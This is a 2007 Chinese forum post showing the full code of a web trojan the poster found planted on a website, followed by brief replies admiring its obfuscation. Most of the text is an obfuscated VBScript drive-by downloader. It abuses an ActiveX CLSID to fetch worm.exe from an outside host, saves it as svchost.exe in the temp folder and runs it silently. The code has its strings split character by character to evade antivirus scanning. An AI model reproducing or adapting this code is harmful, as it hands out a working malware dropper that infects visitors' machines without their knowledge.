看到一个网站被挂马
网马居然没弹,呵呵,大家看看
<html>
<body>
<script type="text/jscript">
function init () {
document.write("<center><font color=red></font><center>");}
window.onload = init;
</script>
<script language="VBScript">
on error resume next
tcsafe = "http://www.krvkr.com/worm.exe"
z1="o"
z2="b"
z3="j"
z4="e"
z5="c"
z6="t"
m1=z1&z2&z3&z4&z5&z6
m2="c"&"l"&"a"&"s"&"s"&"i"&"d"
m3="c"&"l"&"s"&"i"&"d:"&"BD"&"9"&"6"&"C"&"5"&"5"&"6"&"-"&"6"&"5"&"A"&"3"&"-"&"1"&"1"&"D"&"0"&"-"&"9"&"8"&"3"&"A"&"-"&"0"&"0"&"C"&"0"&"4"&"F"&"C"&"2"&"9"&"E"&"3"&"6"
m4="M"&"i"&"c"&"r"&"o"&"s"&"o"&"f"&"t"&"."&"X"&"M"&"L"&"H"&"T"&"T"&"P"
m5="S"&"h"&"e"&"l"&"l"&"."&"A"&"p"&"p"&"l"&"i"&"c"&"a"&"t"&"i"&"o"&"n"
m6="S"&"c"&"r"&"i"&"p"&"t"&"i"&"n"&"g"&"."&"F"&"i"&"l"&"e"&"S"&"y"&"s"&"t"&"e"&"m"&"O"&"b"&"j"&"e"&"c"&"t"
sub tcsafe1exe(m5,X9)
set Xe = Xc.createobject(m5,"")
dd="o"&"p"&"e"&"n"
Xe.ShellExecute X9,BBS,BBS,dd,0
end sub
Set Xc = document.createElement(m1)
Xc.setAttribute m2, m3
Xi=m4
Set Xd = Xc.CreateObject(Xi,"")
a1="A"&"d"&"o"
a2="d"&"b"&"."
a3="S"&"t"&"r"
a4="e"&"a"&"m"
a5=a1&a2&a3&a4
Xg=a5
set Xa = Xc.createobject(Xg,"")
Xa.type = 1
Xh="G"&"E"&"T"
Xd.Open Xh, tcsafe, False
Xd.Send
X9="svchost.exe"
set Xb = Xc.createobject(m6,"")
set Xe = Xb.GetSpecialFolder(2)
sub tcsafe2exe(Xe,X9)
X9= Xb.BuildPath(Xe,X9)
end sub
Xa.open
X8="X"&"a"&"."&"B"&"u"&"i"&"l"&"d"&"P"&"a"&"t"&"h(Xa,X8)"
X7="Xb.B"&"ui"&"ld"&"Pa"&"th(Xb,X7)"
X6="Xc.B"&"u"&"il"&"dP"&"at"&"h(Xd,X6)"
X5="X"&"d.Bu"&"il"&"dP"&"a"&"t"&"h(Xf,X5)"
X4="Xe.B"&"ui"&"ld"&"Pa"&"t"&"h(Xg,X4)"
X3="X"&"f.Bu"&"il"&"d"&"Pa"&"t"&"h(Xh,X4)"
X2="Xg.B"&"ui"&"l"&"d"&"Pa"&"t"&"h(Xi,X3)"
X1="Xh.B"&"u"&"i"&"ld"&"Pa"&"t"&"h(Xg,X1)"
X0="Xi.B"&"u"&"i"&"ld"&"P"&"a"&"th(Xk,X0)"
call tcsafe2exe(Xe,X9)
Xa.write Xd.responseBody
Xa.savetofile X9,2
Xa.close
call tcsafe1exe(m5,X9)
</script>
</body>
</html> |
发表于 2007-1-25 00:58:17
发表于 2007-1-25 04:49:33
，这个有点问题。。。
病毒作者确实有耐心，把一条命令拆分成那么多字符再组合来逃避杀毒软件 确实佩服
